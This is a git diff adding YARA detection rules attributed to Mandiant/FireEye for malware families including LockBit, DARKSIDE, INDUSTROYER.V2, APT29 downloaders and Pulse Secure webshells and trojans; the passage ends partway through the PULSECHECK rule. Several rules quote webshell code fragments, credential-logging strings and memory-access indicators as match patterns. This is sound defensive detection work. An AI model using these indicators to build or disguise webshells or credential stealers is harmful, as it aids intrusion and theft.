+++ b/yara-mikesxrs/Mandiant/LOCKBIT_Note_PE_v2.yar
@@ -0,0 +1,29 @@
+rule LOCKBIT_Note_PE_v2
+
+{
+    meta:
+    reference = "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions"
+    
+        strings:
+
+ 
+
+        $onion = /http:\/\/lockbit[a-z0-9]{9,49}.onion/ ascii wide
+
+        $note1 = "restore-my-files.txt" nocase ascii wide
+
+        $note2 = /lockbit[_-](ransomware|note)\.hta/ nocase ascii wide
+
+        $v2 = "LockBit_2_0_Ransom" nocase wide
+
+ 
+
+    condition:
+
+ 
+
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+
+}
+
+
diff --git a/yara-mikesxrs/Mandiant/MTI_Hunting_AsRockDriver_Exploit_Generic.yar b/yara-mikesxrs/Mandiant/MTI_Hunting_AsRockDriver_Exploit_Generic.yar
new file mode 100644
index 0000000..6c6ea8f
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/MTI_Hunting_AsRockDriver_Exploit_Generic.yar
@@ -0,0 +1,29 @@
+rule MTI_Hunting_AsRockDriver_Exploit_Generic
+
+{
+
+          meta:
+
+                    author = "Mandiant"
+
+                    date = "03-23-2022"
+
+                    description = "Searching for executables containing strings associated with AsRock driver Exploit."
+                    
+                    reference = "https://www.mandiant.com/resources/incontroller-state-sponsored-ics-tool"
+
+   
+
+          strings:
+
+                    $dos_stub = "This program cannot be run in DOS mode"
+
+                    $pdb_good = "c:\\asrock\\work\\asrocksdk_v0.0.69\\asrrw\\src\\driver\\src\\objfre_win7_amd64\\amd64\\AsrDrv103.pdb"
+
+   
+
+          condition:
+
+                    all of them and (#dos_stub == 2) and (@pdb_good > @dos_stub[2])
+
+}
diff --git a/yara-mikesxrs/Mandiant/MTI_Hunting_AsRockDriver_Exploit_PDB.yar b/yara-mikesxrs/Mandiant/MTI_Hunting_AsRockDriver_Exploit_PDB.yar
new file mode 100644
index 0000000..f357e46
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/MTI_Hunting_AsRockDriver_Exploit_PDB.yar
@@ -0,0 +1,30 @@
+rule MTI_Hunting_AsRockDriver_Exploit_PDB
+
+{
+
+          meta:
+
+                    author = "Mandiant"
+
+                    date = "03-23-2022"
+
+                    description = "Searching for executables containing strings associated with AsRock driver Exploit."
+                    
+                    reference = "https://www.mandiant.com/resources/incontroller-state-sponsored-ics-tool"
+   
+
+          strings:
+
+                    $dos_stub = "This program cannot be run in DOS mode"
+
+                    $pdb_bad = "dev projects\\SignSploit1\\x64\\Release\\AsrDrv_exploit.pdb"
+
+                    $pdb_good = "c:\\asrock\\work\\asrocksdk_v0.0.69\\asrrw\\src\\driver\\src\\objfre_win7_amd64\\amd64\\AsrDrv103.pdb"
+
+   
+
+          condition:
+
+                    all of them and (@pdb_bad < @dos_stub[2]) and (#dos_stub == 2) and (@pdb_good > @dos_stub[2])
+
+}
diff --git a/yara-mikesxrs/Mandiant/MTI_Hunting_INDUSTROYERv2_Bytes.yar b/yara-mikesxrs/Mandiant/MTI_Hunting_INDUSTROYERv2_Bytes.yar
new file mode 100644
index 0000000..3425965
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/MTI_Hunting_INDUSTROYERv2_Bytes.yar
@@ -0,0 +1,29 @@
+rule MTI_Hunting_INDUSTROYERv2_Bytes {
+
+    meta:
+
+        author = "Mandiant"
+
+        date = "04-09-2022"
+
+        description = "Searching for executables containing bytecode associated with the INDUSTROYER.V2 malware family."
+        
+        reference = "https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks"
+
+   
+
+    strings:
+
+        $bytes = {8B [2] 89 [2] 8B 0D [4] 89 [2] 8B 15 [4] 89 [2] A1 [4] 89 [2] 8B 0D [4] 89 [2] 8A 15 [4] 88 [2] 8D [2] 5? 8B [2] E8}
+
+   
+
+    condition:
+
+        filesize < 3MB and
+
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
+
+        $bytes
+
+}
diff --git a/yara-mikesxrs/Mandiant/MTI_Hunting_INDUSTROYERv2_Strings.yar b/yara-mikesxrs/Mandiant/MTI_Hunting_INDUSTROYERv2_Strings.yar
new file mode 100644
index 0000000..f7b1946
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/MTI_Hunting_INDUSTROYERv2_Strings.yar
@@ -0,0 +1,58 @@
+rule MTI_Hunting_INDUSTROYERv2_Strings {
+
+    meta:
+
+        author = "Mandiant"
+
+        date = "04-09-2022"
+
+        description = "Searching for executables containing strings associated with the INDUSTROYER.V2 malware family."
+        
+        reference = "https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks"
+
+
+    strings:
+
+        $a1 = "M%X - %02d:%02d:%02d" nocase ascii wide
+
+        $a2 = "%02hu:%02hu:%02hu:%04hu" nocase ascii wide
+
+        $a3 = "%s M%X " nocase ascii wide
+
+        $a4 = "%s: %d: %d" nocase ascii wide
+
+        $a5 = "%s M%X %d (%s)" nocase ascii wide
+
+        $a6 = "%s M%X SGCNT %d" nocase ascii wide
+
+        $a7 = "%s ST%X %d" nocase ascii wide
+
+        $a8 = "Current operation : %s" nocase ascii wide
+
+        $a9 = "Sent=x%X | Received=x%X" nocase ascii wide
+
+        $a10 = "ASDU:%u | OA:%u | IOA:%u | " nocase ascii wide
+
+        $a11 = "Cause: %s (x%X) | Telegram type: %s (x%X" nocase ascii wide
+
+ 
+
+        $b1 = "Length:%u bytes | " nocase ascii wide
+
+        $b2 = "Unknown APDU format !!!" nocase ascii wide
+
+        $b3 = "MSTR ->> SLV" nocase ascii wide
+
+        $b4 = "MSTR <<- SLV" nocase ascii wide
+
+ 
+
+    condition:
+
+        filesize < 3MB and
+
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
+
+        (1 of ($a*) and 1 of ($b*))
+
+}
diff --git a/yara-mikesxrs/Mandiant/M_APT_Downloader_BEATDROP.yar b/yara-mikesxrs/Mandiant/M_APT_Downloader_BEATDROP.yar
new file mode 100644
index 0000000..b7594be
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/M_APT_Downloader_BEATDROP.yar
@@ -0,0 +1,30 @@
+rule M_APT_Downloader_BEATDROP
+
+{
+
+    meta:
+
+        author = "Mandiant"
+
+        description = "Rule looking for BEATDROP malware"
+        
+        reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
+
+    strings:
+
+        $ntdll1 = "ntdll" ascii fullword
+
+        $ntdll2 = "C:\\Windows\\System32\\ntdll.dll" ascii fullword nocase
+
+        $url1 = "api.trello.com" ascii
+
+        $url2 = "/members/me/boards?key=" ascii
+
+        $url3 = "/cards?key=" ascii
+
+    condition:
+
+        uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 1MB and all of them
+
+}
+
diff --git a/yara-mikesxrs/Mandiant/M_APT_Downloader_BOOMMIC.yar b/yara-mikesxrs/Mandiant/M_APT_Downloader_BOOMMIC.yar
new file mode 100644
index 0000000..e23bd01
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/M_APT_Downloader_BOOMMIC.yar
@@ -0,0 +1,36 @@
+import "pe"
+
+rule M_APT_Downloader_BOOMMIC {
+
+  meta:
+
+    author = "Mandiant"
+
+    description = "Rule looking for BOOMMIC malware"
+    
+    reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
+
+
+       strings:
+
+       $loc_10001000 = { 55 8B EC 8D 45 0C 50 8B 4D 08 51 6A 02 FF 15 [4] 85 C0 74 09 B8 01 00 00 00 EB 04 EB 02 33 C0 5D C3 }
+
+       $loc_100012fd = {6A 00 8D 55 EC 52 8B 45 D4 50 6A 05 8B 4D E4 51 FF 15 }
+
+       $func1 = "GetComputerNameExA" ascii
+
+       $func2 = "HttpQueryInfoA" ascii
+
+       condition:
+
+       uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 1MB and
+
+       (
+
+              ($loc_10001000 and $func1) or
+
+              ($loc_100012fd and $func2)
+
+       )
+
+}
diff --git a/yara-mikesxrs/Mandiant/QUIETEXIT_strings.yar b/yara-mikesxrs/Mandiant/QUIETEXIT_strings.yar
new file mode 100644
index 0000000..b860783
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/QUIETEXIT_strings.yar
@@ -0,0 +1,37 @@
+rule QUIETEXIT_strings
+
+{
+
+    meta:
+
+        author = "Mandiant"
+        
+        reference = "https://www.mandiant.com/resources/unc3524-eye-spy-email"
+
+        date_created = "2022-01-13"
+
+        date_modified = "2022-01-13"
+
+        rev = 1
+
+    strings:
+
+        $s1 = "auth-agent@openssh.com"
+
+        $s2 = "auth-%.8x-%d"
+
+        $s3 = "Child connection from %s:%s"
+
+        $s4 = "Compiled without normal mode, can't run without -i"
+
+        $s5 = "cancel-tcpip-forward"
+
+        $s6 = "dropbear_prng"
+
+        $s7 = "cron"
+
+    condition:
+
+        uint32be(0) == 0x7F454C46 and filesize < 2MB and all of them
+
+}
diff --git a/yara-mikesxrs/Mandiant/REGEORG_Tuneller_generic.yar b/yara-mikesxrs/Mandiant/REGEORG_Tuneller_generic.yar
new file mode 100644
index 0000000..5cf1917
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/REGEORG_Tuneller_generic.yar
@@ -0,0 +1,40 @@
+rule REGEORG_Tuneller_generic
+
+{
+
+    meta:
+
+        author = "Mandiant"
+        
+        reference = "https://www.mandiant.com/resources/unc3524-eye-spy-email"
+
+        date_created = "2021-12-20"
+
+        date_modified = "2021-12-20"
+
+        md5 = "ba22992ce835dadcd06bff4ab7b162f9"
+
+    strings:
+
+        $s1 = "System.Net.IPEndPoint"
+
+        $s2 = "Response.AddHeader"
+
+        $s3 = "Request.InputStream.Read"
+
+        $s4 = "Request.Headers.Get"
+
+        $s5 = "Response.Write"
+
+        $s6 = "System.Buffer.BlockCopy"
+
+        $s7 = "Response.BinaryWrite"
+
+        $s8 = "SocketException soex"
+
+    condition:
+
+        filesize < 1MB and 7 of them
+
+}
+
diff --git a/yara-mikesxrs/Mandiant/Ransomware_Win_DARKSIDE_v1__1.yar b/yara-mikesxrs/Mandiant/Ransomware_Win_DARKSIDE_v1__1.yar
new file mode 100644
index 0000000..6038d1b
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/Ransomware_Win_DARKSIDE_v1__1.yar
@@ -0,0 +1,13 @@
+rule Ransomware_Win_DARKSIDE_v1__1
+{
+    meta:
+        author = "FireEye"
+        reference = "https://www.mandiant.com/resources/shining-a-light-on-darkside-ransomware-operations"
+        date_created = "2021-03-22"
+        description = "Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values"
+		md5 = "1a700f845849e573ab3148daef1a3b0b"
+    strings:
+		$consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
+	condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts
+}
diff --git a/yara-mikesxrs/Mandiant/UNC3524_sha1.yar b/yara-mikesxrs/Mandiant/UNC3524_sha1.yar
new file mode 100644
index 0000000..9f1a0c4
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/UNC3524_sha1.yar
@@ -0,0 +1,25 @@
+rule UNC3524_sha1
+
+{
+
+    meta:
+
+        author = "Mandiant"
+        
+        reference = "https://www.mandiant.com/resources/unc3524-eye-spy-email"
+
+        date_created = "2022-01-19"
+
+        date_modified = "2022-01-19"
+
+   strings:
+
+        $h1 = { DD E5 D5 97 20 53 27 BF F0 A2 BA CD 96 35 9A AD 1C 75 EB 47 }
+
+    condition:
+
+        uint32be(0) == 0x7F454C46 and filesize < 10MB and all of them
+
+}
+
+
diff --git a/yara-mikesxrs/Mandiant/atrium.yar b/yara-mikesxrs/Mandiant/atrium.yar
new file mode 100644
index 0000000..4c1da58
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/atrium.yar
@@ -0,0 +1,17 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_Webshell_PL_ATRIUM_1
+{
+    meta:
+        author = "Mandiant"
+        date_created = "2021-04-16"
+        md5 = "ca0175d86049fa7c796ea06b413857a3"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings:
+        $s1 = "CGI::param("
+        $s2 = "system("
+        $s3 = /if[\x09\x20]{0,32}\(CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)\)\s{0,128}\{[\x09\x20]{0,32}print [\x22\x27]Cache-Control: no-cache\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}print [\x22\x27]Content-type: text\/html\\n\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}my \$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)[\x09\x20]{0,32};\s{0,128}system\([\x22\x27]\$/
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/atrium2.yar b/yara-mikesxrs/Mandiant/atrium2.yar
new file mode 100644
index 0000000..5eb51bc
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/atrium2.yar
@@ -0,0 +1,18 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_Trojan_SH_ATRIUM_1
+{
+    meta:
+        author = "Mandiant"
+        date_created = "2021-04-16"
+        md5 = "a631b7a8a11e6df3fccb21f4d34dbd8a"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings:
+        $s1 = "CGI::param("
+        $s2 = "Cache-Control: no-cache"
+        $s3 = "system("
+        $s4 = /sed -i [^\r\n]{1,128}CGI::param\([^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Cache-Control: no-cache[^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Content-type: text\/html[^\r\n]{1,128}my [^\r\n]{1,128}=[\x09\x20]{0,32}CGI::param\([^\r\n]{1,128}system\(/
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/bloodbank.yar b/yara-mikesxrs/Mandiant/bloodbank.yar
new file mode 100644
index 0000000..59408e2
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/bloodbank.yar
@@ -0,0 +1,14 @@
+rule FE_APT_Tool_Linux32_BLOODBANK_1
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-05-17" 
+        sha256 = "8bd504ac5fb342d3533fbe0febe7de5c2adcf74a13942c073de6a9db810f9936" 
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html" 
+    strings: 
+        $sb1 = {0f b6 00 3c 75 [2-6] 8b 85 [4] 8d ?? 01 8b 85 [4] 01 ?? 0f b6 00 3c 73 [2-6] 8b 85 [4]  8d ?? 02 8b 85 [4] 01 ?? 0f b6 00 3c 65 [2-6] 8b 85 [4] 8d ?? 03 8b 85 [4] 01 ?? 0f b6 00 3c 72 [2-6] 8b 85 [4] 8d ?? 04 8b 85 [4] 01 ?? 0f b6 00 3c 40} 
+        $sb2 = {0f b6 00 3c 70 [2-6] 8b 85 [4] 8d ?? 01 8b 85 [4] 01 ?? 0f b6 00 3c 61 [2-6] 8b 85 [4]  8d ?? 02 8b 85 [4] 01 ?? 0f b6 00 3c 73 [2-6] 8b 85 [4] 8d ?? 03 8b 85 [4] 01 ?? 0f b6 00 3c 73 [2-6] 8b 85 [4] 8d ?? 04 8b 85 [4] 01 ?? 0f b6 00 3c 77 [2-6] 8b 85 [4] 8d ?? 08 8b 85 [4] 01 ?? 0f b6 00 3c 40} 
+        $ss1 = "\x00:%4d-%02d-%02d %02d:%02d:%02d  \x00" 
+    condition: 
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/bloodbank2.yar b/yara-mikesxrs/Mandiant/bloodbank2.yar
new file mode 100644
index 0000000..83c9392
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/bloodbank2.yar
@@ -0,0 +1,15 @@
+rule FE_APT_Tool_Linux_BLOODBANK_2 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-05-17" 
+        sha256 = "8bd504ac5fb342d3533fbe0febe7de5c2adcf74a13942c073de6a9db810f9936" 
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html"  
+    strings: 
+        $ss1 = "\x00:%4d-%02d-%02d %02d:%02d:%02d  \x00" 
+        $ss2 = "\x00ok!\x00" 
+        $ss3 = "\x00\x0a\x0a%s:%s   \x00" 
+        $ss4 = "\x00PRIMARY!%s   \x00" 
+    condition: 
+        (uint32(0) == 0x464c457f) and all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/bloodmine.yar b/yara-mikesxrs/Mandiant/bloodmine.yar
new file mode 100644
index 0000000..b10281b
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/bloodmine.yar
@@ -0,0 +1,13 @@
+rule FE_APT_Tool_Linux32_BLOODMINE_1 
+{ 
+    meta: 
+        author = "Mandiant" 
+        date_created = "2021-05-17" 
+        sha256 = "38705184975684c826be28302f5e998cdb3726139aad9f8a6889af34eb2b0385" 
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html" 
+    strings: 
+        $sb1 = { 6A 01 6A 03 68 [4] E8 [4-32] 50 E8 [4-32] 6A 01 5? 50 E8 [4-32] 50 E8 [4-32] 6A 01 5? 50 E8 [4-32] 6A 01 6A 01 68 [4] E8 [4-32] 8? [0-2] 01 A1 [4] 39 [2] 0F 8? }
+        $sb2 = { 68 [4] FF B5 [4] E8 [4-16] 85 C0 7? ?? C7 05 [4] 01 00 00 00 E9 [4-32] 68 [4] FF B5 [4] E8 [4-16] 85 C0 7? ?? C7 05 [4] 02 00 00 00 E9 [4-32] 68 [4] FF B5 [4] E8 [4-16] 85 C0 7? ?? C7 05 [4] 03 00 00 00 E9 } 
+    condition: 
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/bloodmine2.yar b/yara-mikesxrs/Mandiant/bloodmine2.yar
new file mode 100644
index 0000000..495f53f
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/bloodmine2.yar
@@ -0,0 +1,15 @@
+rule FE_APT_Tool_Linux_BLOODMINE_2 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-05-17" 
+        sha256 = "38705184975684c826be28302f5e998cdb3726139aad9f8a6889af34eb2b0385" 
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html" 
+    strings: 
+        $ss1 = "\x00[+]\x00" 
+        $ss2 = "\x00%d-%d-%d-%d-%d-%d\x0a\x00" 
+        $ss3 = "\x00[+]The count of saved logs: %d\x0a\x00" 
+        $ss4 = "\x00[+]Remember to clear \"%s\", good luck!\x0a\x00" 
+    condition: 
+        (uint32(0) == 0x464c457f) and all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/cleanpulse.yar b/yara-mikesxrs/Mandiant/cleanpulse.yar
new file mode 100644
index 0000000..693b0ce
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/cleanpulse.yar
@@ -0,0 +1,17 @@
+rule FE_APT_Tool_Linux32_CLEANPULSE_1 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-05-17" 
+        sha256 = "9308cfbd697e4bf76fcc8ff71429fbdfe375441e8c8c10519b6a73a776801ba7" 
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html" 
+    strings: 
+        $sb1 = { A1 [4] 8B [5] 50 68 [4] 5? FF 75 ?? E8 [4] 83 C4 10 A1 [4] 8B [5] 50 68 [4] 5? FF 75 ?? E8 [4] 83 C4 10 A1 [4] 8B [5] 50 68 [4] 5? FF 75 ?? E8 [4] 83 C4 10 A1 [4] 8B [5] 50 68 [4] 5? FF 75 ?? E8 [4] 83 C4 10 8B ?? 04 } 
+        $sb2 = { 8B 00 0F B6 00 3C ?? 74 0F 8B ?? 04 83 C0 10 8B 00 0F B6 00 3C ?? 75 } 
+        $ss1 = "\x00OK!\x00" 
+        $ss2 = "\x00argv %d error!\x00" 
+        $ss3 = "\x00ptrace_write\x00" 
+        $ss4 = "\x00ptrace_attach\x00" 
+    condition: 
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and all of them 
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/cleanpulse2.yar b/yara-mikesxrs/Mandiant/cleanpulse2.yar
new file mode 100644
index 0000000..d4ffe8c
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/cleanpulse2.yar
@@ -0,0 +1,16 @@
+rule FE_APT_Tool_Linux_CLEANPULSE_2 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-05-17" 
+        sha256 = "9308cfbd697e4bf76fcc8ff71429fbdfe375441e8c8c10519b6a73a776801ba7" 
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html"  
+    strings: 
+        $sb1 = { 00 89 4C 24 08 FF 52 04 8D 00 } 
+        $ss1 = "\x00OK!\x00" 
+        $ss2 = "\x00argv %d error!\x00" 
+        $ss3 = "\x00ptrace_write\x00" 
+        $ss4 = "\x00ptrace_attach\x00" 
+    condition: 
+        (uint32(0) == 0x464c457f) and all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/hardpulse.yar b/yara-mikesxrs/Mandiant/hardpulse.yar
new file mode 100644
index 0000000..28130b9
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/hardpulse.yar
@@ -0,0 +1,21 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Webshell_PL_HARDPULSE 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-04-16"      
+        md5 = "980cba9e82faf194edb6f3cc20dc73ff"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings: 
+        $r1 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}unless[\x09\x20]{0,32}\(open\(\$\w{1,64},[\x09\x20]{0,32}\$\w{1,64}\)\)\s{0,128}\{\s{1,128}goto[\x09\x20]{1,32}\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}return[\x09\x20]{1,32}0[\x09\x20]{0,32}\x3b\s{0,128}\}/ 
+        $r2 = /open[\x09\x20]{0,32}\(\*\w{1,64}[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>/ 
+        $r3 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}print[\x09\x20]{0,32}[\x22\x27]Content-type/ 
+        $s1 = "CGI::request_method()" 
+        $s2 = "CGI::param(" 
+        $s3 = "syswrite(" 
+        $s4 = "print $_" 
+    condition: 
+        all of them 
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/lockpick.yar b/yara-mikesxrs/Mandiant/lockpick.yar
new file mode 100644
index 0000000..e943d54
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/lockpick.yar
@@ -0,0 +1,16 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Trojan_Linux32_LOCKPICK_1
+{
+    meta:
+        author = "Mandiant"
+        date_created = "2021-04-16"
+        md5 = "e8bfd3f5a2806104316902bbe1195ee8"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings:
+        $sb1 = { 83 ?? 63 0F 84 [4] 8B 45 ?? 83 ?? 01 89 ?? 24 89 44 24 04 E8 [4] 85 C0 }
+        $sb2 = { 83 [2] 63 74 ?? 89 ?? 24 04 89 ?? 24 E8 [4] 83 [2] 01 85 C0 0F [5] EB 00 8B ?? 04 83 F8 02 7? ?? 83 E8 01 C1 E0 02 83 C0 00 89 44 24 08 8D 83 [4] 89 44 24 04 8B ?? 89 04 24 E8 }
+    condition:
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and (@sb1[1] < @sb2[1])
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/pacemaker_linux32.yar b/yara-mikesxrs/Mandiant/pacemaker_linux32.yar
new file mode 100644
index 0000000..82b2c1c
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/pacemaker_linux32.yar
@@ -0,0 +1,19 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Trojan_Linux32_PACEMAKER 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-04-16"   
+        md5 = "d7881c4de4d57828f7e1cab15687274b"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings: 
+        $s1 = "\x00/proc/%d/mem\x00" 
+        $s2 = "\x00/proc/%s/maps\x00" 
+        $s3 = "\x00/proc/%s/cmdline\x00" 
+        $sb1 = { C7 44 24 08 10 00 00 00 C7 44 24 04 00 00 00 00 8D 45 E0 89 04 24 E8 [4] 8B 45 F4 83 C0 0B C7 44 24 08 10 00 00 00 89 44 24 04 8D 45 E0 89 04 24 E8 [4] 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] EB } 
+        $sb2 = { 8B 95 [4] B8 [4] 8D 8D [4] 89 4C 24 10 8D 8D [4] 89 4C 24 0C 89 54 24 08 89 44 24 04 8D 85 [4] 89 04 24 E8 [4] C7 44 24 08 02 00 00 00 C7 44 24 04 00 00 00 00 8B 45 ?? 89 04 24 E8 [4] 89 45 ?? 8D 85 [4] 89 04 24 E8 [4] 89 44 24 08 8D 85 [4] 89 44 24 04 8B 45 ?? 89 04 24 E8 [4] 8B 45 ?? 89 45 ?? C7 45 ?? 00 00 00 00 [0-16] 83 45 ?? 01 8B 45 ?? 3B 45 0C } 
+    condition: 
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and all of them 
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/pacemaker_linux64.yar b/yara-mikesxrs/Mandiant/pacemaker_linux64.yar
new file mode 100644
index 0000000..63a0bfa
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/pacemaker_linux64.yar
@@ -0,0 +1,18 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Trojan_Linux_PACEMAKER 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-04-16"     
+        md5 = "d7881c4de4d57828f7e1cab15687274b"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings: 
+        $s1 = "\x00Name:%s || Pwd:%s || AuthNum:%s\x0a\x00" 
+        $s2 = "\x00/proc/%d/mem\x00" 
+        $s3 = "\x00/proc/%s/maps\x00" 
+        $s4 = "\x00/proc/%s/cmdline\x00" 
+    condition: 
+        (uint32(0) == 0x464c457f) and all of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/pulsecheck.yar b/yara-mikesxrs/Mandiant/pulsecheck.yar
new file mode 100644
index 0000000..ded690c
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/pulsecheck.yar
@@ -0,0 +1,22 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Webshell_PL_PULSECHECK_1 
+{ 
+    meta: 
+        author = "Mandiant" 
+        date_created = "2021-04-16"  
+        sha256 = "a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings: 
+        $r1 = /while[\x09\x20]{0,32}\(<\w{1,64}>\)[\x09\x20]{0,32}\{\s{1,256}\$\w{1,64}[\x09\x20]{0,32}\.=[\x09\x20]{0,32}\$_;\s{0,256}\}/ 
+        $s1 = "use Crypt::RC4;" 
+        $s2 = "use MIME::Base64" 
+        $s3 = "MIME::Base64::decode(" 
+        $s4 = "popen(" 
+        $s5 = " .= $_;" 
+        $s6 = "print MIME::Base64::encode(RC4(" 
